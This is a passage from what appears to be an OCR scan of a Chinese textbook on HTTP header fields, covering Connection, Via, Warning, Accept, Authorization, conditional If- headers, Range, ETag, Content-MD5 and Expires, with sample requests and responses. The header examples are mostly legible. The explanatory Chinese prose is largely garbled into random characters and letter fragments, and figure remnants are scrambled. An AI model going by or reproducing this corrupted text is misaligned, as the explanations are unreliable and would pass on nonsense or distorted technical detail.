Pl e A gL, H OREE s — Mk,

[ 18

5% T8 A& 7 AH b -EL At 1) 20 S AR 55 4 P B 2 TRIEAT PR e, IR ORFF XU
BAEER NN L -

52.1 U
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PR U — S U —

GET/HTTPA1 | GET/HTTPAA

-__.__.'j.___.f' n____."lr.__._f
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Cache-Control: must-revalidate
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HTTP/1.1 AR BRI ER A R R AT, AL, B maitEr
IR PSR JIRTE R . YRGS a3 v AR A B BT B 20, N FE 2
Connection & # 7B I{E A Close.

@ EET / HITP/1.1
Connection: Keep-Alive

?) HTTP/1.1 200 OK

Keep-Alive: timeout=10, max=500
Connection: Keep-Alive

Connection: Keep-Alive
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6.3.3 Date
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Date: Tue, 03 Jul 2012 04:40:59 GMT

Z BT HI HTTP P A th i FH #E RFC850 1 5E IR =%, W N Fw.
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2
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6.3.4 Pragma
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Pragma: no-cache
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Cache-Control: no-cache
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6.3.5 Trailer
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Content-Type: text/html

Transfer-Encoding: chunked
Trailer: Expires

co (AROCER L
0
Expires: Tue, 28 Sep 2004 23:59:59 GMT

CLERIBI A, F8e 1587 B Trailer [F1{E N Expires, fER &2 5
(DPKEE 0 2 f5) HIL T &5 7B Expires.

6.3.6 Transfer-Encoding

Transfer-Encoding:
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B #B-Bt Transfer-Encoding #l i€ 1 A& S SC AR % FH 4w 77 =X
HTTP/1.1 W& F e i 5 A 3 B AL i dm i A 28

HTTP/1.1 200 OK

Date: Tue, 03 Jul 2012 04:40:56 GMT
Cache-Control: public, max-age=604800
Content-Type: text/javascript; charset=utf-8
Expires: Tue, 10 Jul 2012 04:40:56 GMT
X-Frame-Options: DENY

X-XSS-Protection: 1; mode=block
Content-Encoding: gzip

Transfer-Encoding: chunked

Connection: keep-alive

cf0 16t (108 y3312)
33127 R .
392 16t (10iEIN914)
COLATFAT B .

0

CLEFIBI A, IEW7E 585 Bt Transfer-Encoding H 458 & HFE, A%
%g“ﬂ%%ﬁﬂ B 4 o0 1 3312 45 1 914 7745 K/ 43 B

6.3.7 Upgrade

BB Upgrade FFASIN HTTP 808 He At B0 75 7 58 B8 vy 1Y
FRASEATIEAS, HSHUE T DADRR E — A58 AN R Il AE B il

Wik % (% B X A thawed?

GET /index.htm HTTP/1.1
Upgrade: TLS/1.0
Connection: Upgrade

HTTP/1.1 101 Switching Protocols
Upgrade: TLS/1.0, HTTP/1.1
Connection: Upgrade
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BRI, BB Upgrade $8 € ME A TLS/1.0. 57ERILALM
NFBE S BIX BR ZR, Connection F{E #7F5 %€ N Upgrade..
Upgrade B # 7 B =4 AE HI ) Upgrade X GAN R -7 7 it FHAT 4 AR 4%
vz lal. Rk, R E B Upgrade B, b7 ZHIME €
Connection: Upgrade

XA B F Bt Upgrade 3G R, Mr45-25 0T A 101 Switching
Protocols JRZSALAE Ry B3R [H]

6.3.8 Via
i B #5 BL Via f& N T IBER R b 55 AR 55 4 2 8] AR SRR N 1 S
A% S A2 o

WAL IR N RET, 2 7E T f B Via P ImZ IR 55 28 15
B, REHEATHE K. XML traceroute 2 HL-FHIEE Y Received
ER YRR E I e S

BB Via MU T IBER IR CSCHIEE A, 38 n] il K B3R R A
Pt DAL 25 22 S AR BRI BRI & 7 BUA &

GET / HTTP/1.1

2 GET / HTTR/1.1
Via: 1.0 gw.hackr.ip(Squid/3.1)

GET / HITP/1.1
Via: 1.0 gw.hackr.jp(Squid/3.1),
1.1 al.example.com(Squid/2.7)

[%M&ME% 2 20 Via S BRI J

SRFGHENER. AR S5 25

FEMGIH, LRSS AR, Via EHEFIN 7<1.0
gw.hackr.jp (Squid/3.1)"XFE AR E . 173k10 1.0 2 FaRusd K
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AR 55 & BN HTTP Pl hieAs . # F RZ T AE AR ST 4% B IR 2
I, fc;fla B INARSS A5 2, AN 1 ANE Via B &5 AR
Fafa B

Via H 5N T IBEAL IS, Frbl& s <A TRACE ik —Efd

. tetn, fREEARSS #8820 B B TRACE ik RGN ik (FHd

Max-Forwards: 0) B, fRHEARSS 2N EHE L KZIEK T XFEN
E, REARS 228 B S E B INR Via B35, 1R [BRZE KA mH
AVAS

6.3.9 Warning

HTTP/1.1 ) Warning 14 #5/& )\ HTTP/1.0 BN & &5 (Retry-After) ¥
TSR % M 2 A 2 5 A A O IR ) R

Warning: 113 gw.hackr.jp:8080 "Heuristic expiration" Tue, 03

Warning & #8 A% TN T o 35 R SR 18] 35 70 Rl 2

Warning: [ZEM0][ &S EN b E5 1[5 NE]([HIERTE])

HTTP/1.1 Hog ST 7 M. i Ao ) & i R DU 2%
FA, EEMEEY RN, A JEA R E

* 6-7: HTTP/1.1 515
Y BHEAR o B
110 Response is stale (157 2k B AREHIR 8] st A Y 55U
e . AR P I6IE B YA PRI 2R (AR S5
111 Revalidation failed (F5-36:11F 2 W0 58 T 1 )
. ?Eis)connection operation (W% 5 B I e
- e M I )4k FH SR I 24/ N CFF 208 A7
113 Heuristic expiration (iR 1) 8 2 IS 1) 24/ N RS B0 )
199 Miscellaneous warning ( 4411445 ) EERESENRE

214 Transformation applied ({5 F | #4t) %Eﬁgﬁéﬁ@@iﬁ%%@%ﬁﬁ 7

- Miscellaneous persistent warning (357 /A AT 25 [y 2 phy 2

AINEE)
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6.4 EREH T

VR Bt N P i R iR 55 s i ACI& VR SRR BIT i R 5B
ii%ﬁ%%%%%%%\EF%%%\NW&W§W%%%%ﬁ%
2.

%P8 ER T

T—a
% AR5 a8

B HTTP % RS A 105 35 B

6.4.1 Accept

BRTRFRIE L% HTML
ke WETE ALK

TEXT G & to 4747
Accept: text/plain; g=0.3, text/htm
c =

HTML#& =

%

HTML &= TEXT # =,

Accept: text/html,application/xhtml+xml,application/xml;q=0.

Accept B HB 7 BLATE AR ST &, I ACEERENS A0 B R AR SR I AR
FKRMAIRT LSS . AT type/subtype IX MR, —IKIRE 2 Pt
PR

AT LR R 511
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o JUARTCAF
text/html, text/plain, text/css ...
application/xhtml+xml, application/xml ...
o Bt
image/jpeg, image/gif, image/png ...
o WA ICAF:
video/mpeg, video/quicktime ...
o I IR Ry A FH A 3k 1) SC A
application/octet-stream, application/zip ...

betn, S0 3 ANSCRE PNG B R R, TR Accept st ANTR &
image/png, 148 € W AL HE K image/gif Il image/jpeg &5 2R,

A RS WoR BRSSO S 2, WIAEA q= RAIMRREE
LS G 7. BUEE q SR 0~1 CATRERHE] NS
Ja 3460, H 1 NRKIE. AMEENE q ER, BRAEDN g=1.0,

1 RS s B8RS, 7E RFC2616 5& X, AL q 245 qvalue, B quality
factor. EIERIIHELZ FEL, (HELLEEH BB RERMEE, PR
HEFENRE, —FHE

YRS APt Z M N AR, R e iR R A SR SR A

6.4.2 Accept-Charset
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fRBULRIATEE
WL EESHT®

Accept-Charset: is0-8859-5,
unicode-1-1;g=0.8

FRE
iIS0-8859-5

Accept-Charset: i1s0-8859-5, unicode-1-1;0=0.8

Accept-Charset 1 #i7= B 7] F 2R 18 H1 IR 55 4 FH P ARBE SR 174758
FRAERMFRAR SR . Foh, W —R MR E 2 M. SEHY
Bt Accept AH [ )2 7T FHAUE q [ERE R AR LR
ZE A BN T S B R AL B AR 55 2 SR B R R

6.4.3 Accept-Encoding

R TohdliEwh

Accept-Encoding: gzip, deflate

Accept-Encoding B #57 BH R AR 55 8 FH P AR SRR I N 25 9 B %
NS AR SR B . w]— R TR E 2 M N B gt
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A LA NGRS T
* gzip
H S B 482 7 gzip (GNU zip) A- ) gmfi i 28
(RFC1952) , KM Lempel-Ziv &k (LZ77) & 32 MifEATU&
B4 (Cyclic Redundancy Check, JEFK CRC) .

e compress

H UNIX S B 48727 compress A I Zig %3, KA Lempel-
Ziv-Welch 5% (LZW) .

o deflate

HAEHH 2ib &R (RFC1950) J2 1 deflate [&47 &%
(RFC1951) Bl gmtid g =X

o identity
ANPAT G B 2 2 AL IR BRI G B A% 2

KHIBUE q (EARR RS R, X5 BT B Accept HHH. 73
fh, WREHAES ) FENIBECAT, TREER ISR .

6.4.4 Accept-Language
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KM E R TERD

& P

Accept-Language: zh-cn,zh;q=0.7,en-us,en;q=0.3

B 7Bt Accept-Language H K45 AR 55 % FH P ARFRGERS AL PR B 48
mé%(h¢1ﬁ%1 ), VW EARE S EMMENI S . ] —Ik
fe g Z M HRE S5

M Accept B HB B —HF, 1EIEAE q RERHRLLSH . £ EIAE
Bk, =P e AR 55 48 ORI TS DL T, 15 R HR 8] F STl
XF LRI, A H SCRRS S U3 SRR (8] 2 SR B

6.4.5 Authorization
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WWW-Authenticate

R @E P HTTP shiE.
GET /index.htm Bl E AR

401 Unauthorized
WWW-Authenticate: Basic - ARz

F, H®ILIEEE
& F 1

GET /index.htm
Authorization: Basic dWVub3Nlbipw¥XNzd29yZA==

E———l)
=

200 OK

Authorization: Basic dWVub3NlbjpwYXNzd29yZA==

B #87Bt Authorization & F K5 AR 5528, I PAREFIGERE R GIE
T o 8y, MEEIEIT RS A ER P AR SRR B
401 RSN 5, HEE EE B Authorization TG R H . FLHSEAF
E%Wi”@ﬁ Authorization B & 7~ Bt 1E K I R /E AL B S B8 22

G ¢ HTTP 5 7 IAE & Authorization B #57E%, /5 HIZ= i< VELH
. HAN, EFE WS RFC2616.

6.4.6 Expect
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17 i WE)X 4 0B?

% O & M%) 100 Continke

BPim

Expect: 100-continue

2 s FH - B Expect KA RIS &%, HAEE H A S Rh AR 2 47
Mo PIRSS #8CIEFRAR 2 P v RS EE ARt (Bl 7 17 A AR B R, 2 il (]
IRZA45 417 Expectation Failed.

BRum ] R ZE S 7B, SHBHHSEAY . S58 HTTP/1.1 #)
0 28 X7 100-continue CIRZSHY 100 Continue 2 &)

SERPIRASHS 100 ma B 128 P o 18 & AR TG KR, 75 2298 € Expect:100-
continue o

6.4.7 From

WREBEHE
A e 3 dp s

B P

From: info@hackr.jp

B From FR 2 R0 R 55 #8450 A A P AQEE 5 FH P 1) - IR A2
bk W, HAEHEMEEAN T BRI 25 P ARBE W 7o AW
A IR 5207 e A FACEER, MR AT REE & From BB (H
Efﬁ%é\ﬁﬁxﬁ’ W HL - WB A bk 1E S 7E User-Agent B #5857 Bt

)
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6.4.8 Host

LESEH
.:l.i

Host: www.hackr.jp %é % %

BHEN

www.usagidesign.jp

REHIEAN
www . hackr.jp

Bl Bl ENSATER — IP L, DA A A & &85 Bt Host i1 LA
X >

Host: www.hackr.jp

B 7B Host 2 5 FAR 55 2%, 1 SR B B R BT Ak ) B BBRIX) 2 A1 44 AR ity
5. Host B & 7 EAE HTTP/1.1 #VE N & ME—— /N AU A & 7617
SR E 7B

BB Host AR &5 ik 55 4% 70 Bie 22 38044 (14 R 4 B LR AR LA
AARE VIR, XA H B 7B Host M AFLE I o

THRPOEBENRSS a5, TR LA 2 TP MUk B3 i
o AHINFXI, HFER) P sk MB8T5 284, 4RSS
Fe o JOVA R AR 7T 8 A WA AL LI SR o DRI, il e A H
7B Host KBTI IR KB FHLA - 5 IRSTEe R e B4, RE
RIE—ATERIA . W NER

Host:

6.4.9 If-Match
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If-Match
If-Modified-Since
If-None-Match
If-Range
If-Unmodified-Since

WwRMEHsset %
e TMaEk

TP BR% 3%
SRR SRR RN

AN Moo IXPAE NI R EH B #ARONRAHER . IR a8%
WP e 26 TR R IA, R IR e 25PN EI, A 2 3ATIE K.

GET /index.html
If-Match: "123458" Gt i S 3

; D
- index.html

SEtk#Ric( ETag )
123456 ;

200 0K A\

SL{A4Ric (ETag ) R 5 EH E XM
WEE. HBEEHBETagth &z B3

GET /index.htm
If-Match: "123456"

i > :
: index.html 1
' — +  SAHRIC( ETag)

BEes 567890 -

412 Precondition Failed

K. HAY f-Match 17 BHE IR ETag (E VLA — 20y, WS4 &
A B
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If-Match: "123456"

B a7 B If-Match, @22 —, & mARS AR ULEC 55 B F
ISR bric (ETag) fH. XBTRIIRS 28 CIZAEH S ETagfd. (2
FAR T 0 58 B ETag MUt B

AR 55 2825 LU ST If-Match H) 7 BUE A IR ETag {5, 1 4ME —EL
B, AaPATIER. k2, NHERFEPKRZSES 412 Precondition Failed 117
N o

EATDMEH RS (%) $82 I-Match I BAE . XX FEN, AR%
ki B0S ETag (UMH, R ESHRAAERAEETER .

6.4.10 If-Modified-Since

GET /index. htm
If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT

HBHE & 000 ¥ ¢ F
s8I T
B PR RTRIES

200 QK
Last-Modified: Sun, 29 Aug 2004 14:03:05 GMT

GET /index.htm
If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT

e )}

B P i AR 5538

AR FBE 2000 F ¢ P
sBzGAERY Fr
S

304 Not Modified

K. W5 1E If-Modified-Since 7B g2 B H AN 8] 5, WIRAKE T
B, RS SE2iER
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If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT

H i 7B If-Modified-Since, JEFMwskibc—, EoGMRS A4 If-
Modified-Since 7B AH 5T IR I S HT A 1E], D45 B2 RE AL BRAZAE 3R
MAEFE € If-Modified-Since 7 BUE W HIAR B 2 5, anSHiE R 1 5IR
HORA T EEHT, R [ERIRZASTS 304 Not Modified FfJ i M .

If-Modified-Since F T #fAMREL B & 7 v 45 B A B8 YR 1A R .
SR YR A0 S8 H AR (), Rl A 1 BB B Last-Modified SR
o

6.4.11 If-None-Match

#1257 G Sample html, Ff A

PUT /sample.html :
o] i B BT dr i sk

If -None-Match: *

Eh AR ARG, FibL
R4 ETag th RN {5 7E

AR 55 %

200 OK

&l: R A 7E If-None-Match 1] 7 B 5 5 ETag {H A — Uy, A 4L
ZiE R . 5 If-Match & %7 B 4E FH A

H BB If-None-Match J& T 5k th < — . EAE H 7Bt If-Match
YEFIME . P48 %€ 1f-None-Match FBUE S bRid (ETag) 1H 5
5 R EIRE ETag A—FH}, & Mk 2e b #HIZE K .

7E GET 8% HEAD 77 7% 48 B 1 &85~ Bt If-None-Match 7] 3R HU & HT 1 5%
V. K, X5 HE L [f-Modified-Since B 45 625401,

6.4.12 If-Range
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If-Range SFER1E % 28R ETag {& 3 3 #i 64 A HARY (B) L B2 — %,
A4k ERERETH R LE

GET /index.html
If-Range: "123456"
Range: bytes=5001-10000 IR et L 1 30 ol

> : :
D index.htm

B 5 SLEARIE( ETag) |
index.html g =t 123456 -

206 Partial Content
Content-Range: bytes 5001-10000/10000
Content-Length: 5000

(BF—%, NAKEMHR, BOLHAR )

GET /index.html
If-Range: "123458"
Range: bytes=5001-10000

> -
index.htm

SKAFRIC( ETag ) i
567890 :
200 OK e

ETag: "567890"

BB If-Range J& T M Sk tb 2 —. BEE RS s T8 € If
Range 7 Bt{H (ETag HBE IR FE K YR K ETag {H B 8] A —
U, NWEAVEEESRACEE ., 2z, MR EEAREE,
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[;m 1 F 5B ERIF-Range M| B B HET 7 L"(&EIE]

GET /
If-Match: "123456" 412 Preconditicn Failed
Range: 5001-10000

EH (BH> F:FELETET
MEwRBE - 4k

L EHBY

200 OK
GET / ETag: "567890"

N RRATEE — T AME & &6 7 B If-Range K& 1HR AN . ARS8
i BRGNS T B, I P i A IR R W a2 TR, Y
SR, JEENERE NI R TICRN . X, RS 24% H LUIREHS 412
Precondition Failed {E M i [A], 3 H 2 AL 5 b IR KI5 TH
ﬁ;;iﬁﬁ—ﬂlé, S {5 B 7 B If-Range EARSK, whfE B PR
I °

6.4.13 If-Unmodified-Since

If-Unmodified-Since: Thu, ©3 Jul 2012 00:00:00 GMT

3B B If-Unmodified-Since A1 # 57 B If-Modified-Since fJ1F F#H

Ko CHRHERMZS MRS %, foeigReEE I HETFBRENfEE
FIH AR 2 J5, RAEEFFIEL T, AhesbBigRk, wmRETEE
H HA 8] f5 A T 58, W PUIRZASHS 412 Precondition Failed 45 i i
12 [A]

6.4.14 Max-Forwards
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OkBiET ¥

Max-Forwards: 2 Max-Forwards: 1 Max-Forwards: 0O

REHRSE A pEk S

Bl R BRI 1. S A A 0 B 3R (5] i 5

Max-Forwards: 10

ik TRACE J51£8 OPTIONS J5i%, RIEH& B 7B Max-
Forwards HJ1ER A, 127 B CAT 1 FEHOE 2 F8 e vl 20 ) ik 5545 i
KEH. WRSBAELF T MRS a5 RIER AT, Max-Forwards HJ
B 1 JEEHIRE . YRS A EI R Max-Forwards {64 0 [1115 K

B, MIAFATE A, T2 E R B R

M HTTP PhBUEER, iRl ge e MBS 2 5 154, B,
A AR il 25 4 T e LB i R S BUF SR B AR, 25 ) i 0 3l 55 A 3]
R 55 2% [l fyma 2 1o XFitk,  FATTTC AT %N

A] LA R VE A8 FH B 3 2 B Max-Forwards, %157 UL _E 9] 7= 42 1 R R
TFHE . BT 24 Max-Forwards FBAE N 0 B, AR5 asmt o 3 Bk [H]
Mg N, F S FRATTZ 0T DI DL 6 ik 55 o 9 2% s A% S 6 A5 1A 3845 IR
A TR

------------

FRAMEA
SEEREM !

40 B

K. AREE B 2IVR A 55 4% BIIE SRR T, B2 i AN K TE
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E 47 lofam

: BFRHEBRSEHER
v FBBATEE

L

. BT ARMER, SEOFKEACEZ B, (H% )7 5 A
ySIBEl

6.4.15 Proxy-Authorization

Proxy-Authorization: Basic dGlwOjkpNLAGTFY5

PRI B MAREE AR 55 28 AOR M VE TR, & P e KIEE & E 7B
Proxy-Authorization FJ1E K, LA FIRSS 28 UGIEFT 75 ZLH04E B

XTS5 R b MRS w8 2 18] ) HTTP 15 RAUEAH AL, AS[H]
ZAMET, AT AREER P ig SR 8]. %7 b5 ik 5o 2 18]
HIIAIE, i 5 357 B Authorization A] 2 EITEH . o< HTTP
W AIE, & A E T 2R S R

6.4.16 Range

Range: bytes=5001-10000

AT H %ﬁﬂx%ﬁ%i@%ﬁ@?ﬁ%%, 8 B 7B Range IV AT 75 01
2 BOIRIAE Ve . R R R BIR S 1E SR SE 5001 #5258
10000 5 ) B2

PRI T Range & #7BOB KMV AR 55 4%, SAEALEAIERZ JFIR [FIR

A8 4 206 Partial Content FRIM N . Toi b FRiZ GBS R T, W<k
[ERIRZASTS 200 OK AR N, K2 4= 58 U5
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6.4.17 Referer

n
GET / | DEHERefererst S0 EE K HY
Referer: http://www.hackr.jp/index.htm ,\}JHI%M@M\WEbﬁ@ﬁE%

A dskdurl B M
kBiEd

Referer: http://www.hackr.jp/index.htm

B 7B Referer 215 F AR 5% 28 1 K 1) R 46 B 5 1 URI

B — Al = K15 Referer H 587 B g Ik 557 - (H Y EHBAE N D25
A N URL, 80 T2 ERZE R, W] A KIZZE T
B

IR I 46 BE 5 1) URT H 1 A0 2457 £ T RE &7 A ID AL S (R 2545
B, Z5iE Referer ¥ K zn HAh k%525, WA AT 58 SRR ZE (S B 1Y
5%

F4b, Referer FIER P S BNiZ 2 Referrer, (HAZINMT, KFE —H
X ME R PES

6.4.18 TE

TE: gzip, deflate;q=0.5

H B TE =85 J R 55 28 2 7 v Be 18 b B ) 8. 1) 4% 2 1 77 X S A
KA. EAEEHTFEB Accept-Encoding HIZhRER MG, (H2H T
I

BB TE Brfa e e imamid 2 ob, b n] LLAE € R trailer 5B i) 7y
Pttt i) 7. MR FER, AT trailers B4 1% 7 BE .

TE: trailers
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6.4.189 User-Agent

CTEWTCEE R Bl
hck]p o 5 ‘ﬂ\ﬂ_\
€ 5 C # Qhadeip @A

hackr

User-Agent: Mozilla/5.0 (Windows NT 6.1;
WOW64) AppleWebKit/536.11 (KHTML, like
Gecko) Chrome/20.0.1132.47 Safari/536.11

hackr

Mozilla/5.0 (iPhone; CPU iPhone OS5 0 like
Mac OS X) AppleWebKit/534.46 (KHTML, like
Gecko) Version/5.1 Mobile/9A334
=Sy S =

-y
(18 & 1

Kl: User-Agent T 1% ik ¥ Yo 5 B Fh 2

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Ged

éﬁf?%} User-Agent 2K 61 53218 SR 130 W 8 A0 B AR EE 2 AR E8AE BAL
B2 %5

HT R 22 € ERUR ST SR INF S A3 R RE 2 AE 5= BU A IS TR B AR 3 A 1 A
%ﬁt%ﬁ%%, ARG RAERACH, A 18] AR AT BE A 7 I _EACEE Al
5 A IR o

6.5 W N H T

M 7 758 BUAS H IR 55 4 B 17 e ™ g 3L [ i I 41 S A B A 110 5 B
ﬁﬁg%ﬁﬁﬂﬂf IS S ARSS AR5 S, DUROKE % 7 S FRO B o 2 5Kk <5

[= PN
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KB F TR

K. HTTP Wi 3 4z SC A8 Y B 37 B

6.5.1 Accept-Ranges

B WAk Okoly
Accept-Ranges: bytes

Kl: B AR B YL EITE K, Accept-Ranges: none

Accept-Ranges: bytes

H B Accept-Ranges & H %%%ﬂ%)ﬂ Uit AR 5% w2 1 Be AL BV BB
3K, PAFR E SR EUAR 25 2 Bt 2350 20 ) D5

AR E B BB PR, AT AR PG S SR I 18 2 0N bytes, e I
18 € H N none..

6.5.2 Age
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EAEGSGERE B
g, NedEITonw

Age: 600

HHRSS3E

BT B Age BT AN i, RS ASAE S ARTQIEE TN T BUE
HOEER VAYSZ 8

A B N AR 55 4 R AT AR 554, Age (&8 ZRAT i M N F- IR

FEANUERTAE 56 BRI TB)E o AQEE 15 i oz Ay 2o ZUN_E 8 #5 BL
Age.

6.5.3 ETag

>
index.htm

ETag: usagi-1234

RIBEH

S
index.htm

ETag: usagi-5678

ETag: "82e22293907ce725faf67773957acd12"

B 7B ETag B 15 R85 i SRR IR o 0 — M lRe BEJR LU 45
T 2 BME— PR IR T 300 AR S5 4% 2 VA 00 BEIR 2 BC X . ) ETag
fH.
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o, HTHIRERN, ETag (EBFEZE#r. L& ETag EHIN, JFA
gt RIS, AN A H AR 55 48 R 2B -

T:Behunl B8R, B
b UbRfoR UbR e F
RErRES

Google Google
——  —
ETag: usagi-abcd ETag: usagi-efgh

IR GATRS, B BOME—PEAR IR . o an, 48 R STRR I e
#xy Ui n) http://www.google.con I, Bt2x iR [B] HR SRR BN B, 1T
A8l FH B SC i ) Y s U AT ISE, - D)2 3R [B] e SCRROO LR B . PR )
URI ZAHIE ), B LMY AE URI $6 € A7 ) IR R A S A ) . 578 R
%%ﬁﬁﬁp HILERE T, EENE O, # KR ETag HRIE € 5
P

ok ETag {8 #1595 Tag {8
ETag Hf 5% ETag {H 155 ETag {H2 77 o

5% ETag 8
5% ETag {6, ANRSEARKR A2 2 A2 AL # 2 el A HAR .

ETag: "usagi-1234"

59 ETag {8

59 ETag (6 A H TR S AHIE . R SRR FRA A, 7~
HEZERN AU ETag . X, SSTEFEBAEGITIRAL I W/s

ETag: W/"usagi-1234"

6.5.4 Location
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http://www.google.com/

HEHNEHTBDE S

; i
GET /sample.htm 4. D F e

fRF528 A
www.hackr.jp

302 Found
Location: http://www.usagidesign.jp/sample.htm

LBAVBEEE

GET /sample.htm

200 OK
Www.usagidesign.jp

Location: http://www.usagidesign.jp/sample.html

i FH B B 7B Location 1] PURE Wi R #2805 51 5 22284 515K URTAZE
AR B o

HAR b, ZFEERSME 3xx . Redirection I N, FRALEE & 7] )
URI.

JUF A 130 U a4 W 38 B 5 B A 5 BL Location (WA N J, AT 2 5
Al 2t 22430 LB 1 25 7] SRR A U 1)

6.5.5 Proxy-Authenticate

Proxy-Authenticate: Basic realm="Usagidesign Auth"
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B #B5-Bt Proxy-Authenticate 2% lHAQEE AR 25 28 Fr E R A UES Bk %
2525 P Ui o

'V 55 i AR 55 28 22 1A) ) HTTP U R AGE AT AR, AN[E 2 Ab7E
FHIUEATARIER P SRR 2 [RI3HAT 1. & i 5 IR 55 2% 2 (4]
AT VGER, &35 B WWW-Authorization A B A8 R FIMERH . A%
HTTP V5 [AAUE, 5 T ) 575 2 AT VRS A

6.5.6 Retry-After

s e B B 6 ek ( ﬂﬁmﬁﬂﬁﬁ@ﬁ:D

Retry-After: 120

B 7B Retry-After 75 F1% P i MAZAE 2 A Z G FHRKIETF K. FE
il &R A5G 503 Service Unavailable T v, B 3xx Redirect M v — #fg
}Eﬁ o

F-BAE ] LR e N BAR A H B [A] (Wed, 04 Jul 2012 06: 34: 24
GMT 545D , Ha] D2 e m N 5 R .

6.5.7 Server
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& F AmazonS:

% B Apache/2.2.17 ¢ un{xD

f
By e |
| - — 1 " m

<«

BR 55 &8

Server: Apache/2.2.17 (Unix)

B BB Server T RIS i =4 B AR 55 4% b 22 A< (1) HTTP AR 55 4 . HI B2
FPRME R . AN br iS5 LRI AR, & e R
AT R 223 i P R AT ae T

Server: Apache/2.2.6 (Unix) PHP/5.2.5

6.5.8 Vary
GET /sample.html GET /sample.html
Accept-Language: en-us Accept-Language: en-us

Vary: Accept-Language

P KIERS

- RERSS

Diat54BE g RE S
( Accept-Languhage ) #1if k& @
g5

B AR S5 2 B2 B A Vary B 30 7 B R 8 3K BUR JR RS SR
B, 0 8% B 1 Accept-Language 7 B FI{EAH[E], FB 4wt B4 2%
AFIR I N o Je 2, WU RE 2250 IR IR 55 78 i sk B B2 05 J5 A Re/E N
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M ]2 3 [

Vary: Accept-Language

BB Vary Al RAF AT IR YRR ST a8 2 [ AR ST s AR 1A K
TARGATAL TR 2

MAREE AR 55 W BIPR AR 55 48 3% 8] 6055 Vary $&8 € TN 2 J5, 45
FHEITAF, DOSTE RS A A Vary 15 € B &6 5 B IE Kk 6]
AT RIS A A SR AR R, (HER T Vary 36 5€ B & 38 5 BUN A
[, DR b o 2 A Al 55 s BT R B i

6.5.9 WWW-Authenticate

WWW-Authenticate: Basic realm="Usagidesign Auth"

B a7 B WWW-Authenticate T HTTP U5 A IE. ‘B <85 HF1% J i
& H U7 38 K URI g € SR IRNIE )T %6 (Basic Bl#2 Digest)
WS HALNHI R (challenge) o RZHY 401 Unauthorized M N H,
H €A H a7 Bt WWW-Authenticate

EA7RGIH, realm FBUNFRF 2N T #H1H R URI 48 € BT A2
B RIRIG . ARIZEES, BSHARLZRHAR.

6.6 SCIREITE

SR T B B 7 ARV SR AR SR S S R SRR 43 P A4S A )
F, P T8 P B B I ) £ 5 SR A SR A

B R3S SR B U7 B HTTP i 30 #8055 A -5 52440 5% 1 1 7l
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G0 EFE cET
fo HEAD % 3t

)

Allow: GET, HEAD

& P

Allow: GET, HEAD

B 7B Allow H Tl 0% F i e 18 2 FF Request-URI $i %€ B2 R A BT
A HTTP Jii%. 4RSS I B IR HTTP J7iER, 2 BUIRAHY
405 Method Not Allowed 1E M MR 5], 5 bR, @A BE
FF HTTP 7B N E H 7B Allow J5iR[H .

6.6.2 Content-Encoding

Content-Encoding: gzip

T 385 Bt Content-Encoding 2 5 K125 1 Uit g 55 2 X SIAAK 1 = A7 -3k
E’é)ﬁ;’]?%‘zéﬁﬁ%ﬁﬁo N b & TR 7E AN 25 R SRS B HT$2 T prdtAT
JIR A .

e rRHiTIER
2GdhmE TERFLMI

FERHLT 4 ARG, (BN UHIES % 6.4.3 71
Accept-Encoding B # F )

e gzip
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e compress
o deflate

o identity

6.6.3 Content-Language

ZRBREdwed

Content-Language: zh-CN

¥4 ¥ Content-Language 2% H1% P13, Sk f 0 11 481 &
R SCaR Y E 2

6.6.4 Content-Length

izzt'!g Eﬁ-é‘a +* ']\ 7; 15000 r‘_-j:! ?ﬁ

Content-Length: 15000

H #87Bt Content-Length 3¢ B | SEAK AR 43 1 KN (B2 T

) o XSEAR FARBEAT N B LA RET, A BEFE R Content-Length
P B TSR EARKNRITF R TSR 2%, BT CAE A
Fo SEEE—RIAT, 1SH RFC2616 [1] 4.4,

6.6.5 Content-Location
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Content-Location: http://www.hackr.jp/index-ja.html

H 17 Bt Content-Location 45 H 5 i SC FEARE /3 XS R URL. Al
B Location AN[F], Content-Location 7% 7 B A& % SC A8 1% [F] B Y5 X6
VARG

e, X Tfd 8 #57 B Accept-Language [R5 2 0REN 153K, 24
IR 8] [ U T N 25 5 SEBR I SR X RAE RS, B35 Bt Content-Location
N£58] URL, (Vi http://www.hackr.jp/ I [a] i) 5 5 51 2
http://www.hackr.jp/index-ja.html 235U %)

6.6.6 Content-MD5

R EE

§

MD5 H 3%

&

BaseB4 414

Content-MDE :
OGFKkZDUWNGVhNGY 3N2MxMD
IwZmQANTBmY2 Iy TY==

Y

B % A RIS L T AR L MDS 13, AR 5
# Bt Content-MD5 1) <7 Bt i LL 5

Content-MD5: OGFkZDUwWNGVhNGY3N2MXMDIwZmQANTBmY2IyTY==

¥ 5Bt Content-MDS /& —# th MDS Bk RO, $ H 7 Tk
oA AR (R P R R 8, LU BRI

SHRC EAEFAT MD5 BRI R 128 7 i3k # %k, FiEid Base64 4
M ER4E R 5 AN Content-MD5 FEtfE . HT HTTP & #Likid s it
HIME, BTLAEDETT Base64d hB b . AR S A Rk, VBN
WS B85 7 g 2 5 4 SC AR BT — OM R MDS 5535, TS
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http://www.hackr.jp/
http://www.hackr.jp/index-ja.html

E5 7 BUEMELLESE, B RAr 3O E AR R HER 1

KX F A, SIS BRI SCAR & T MNEUE, IR
EBEREN. Hbh—MEREET, NEWREBHEDN, AR R
% Content-MD5 7] BT THRE AR E# R . B DAALFE BRI B 25
Eﬁg%%%%iﬁﬂ?&iiw DL A 1 3 B Content-MD5 & L& 4 22 ot

6.6.7 Content-Range

TEproooo Froh %
% s B s001~10000 F P
& F Bl

HTTP/1.1 206 Partial Content

Date: Wed, 04 Jul 2012 07:28:03 GMT
Content-Range: bytes 5001-10000/10000
Content-Length: 5000

Content-Type: image/jpeg

Content-Range: bytes 5001-10000/10000

FEO TR T R, I [ W S {5 FE £ 257 B Content-Range, B 1%
A SR SR ]SS R A B A5 TR R . B LA
BT, R KLY A TR

6.6.8 Content-Type

Content-Type: text/html; charset=UTF-8
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H#8F-Bx Content-Type Bt BH 1 SEAAR AR X REVEEARE Y FlE 30
Bt Accept —#F, FEBUEHA type/subtype JE A IHME

Z¥ charset {# F i50-8859-1 8% euc-jp 25 5 7 4EREAT IR Y

6.6.9 Expires

GR R L PR
w:F18«H

EHFRRSE R 5538

Expires: Wed, 04 Jul 2012 08:26:05 GMT

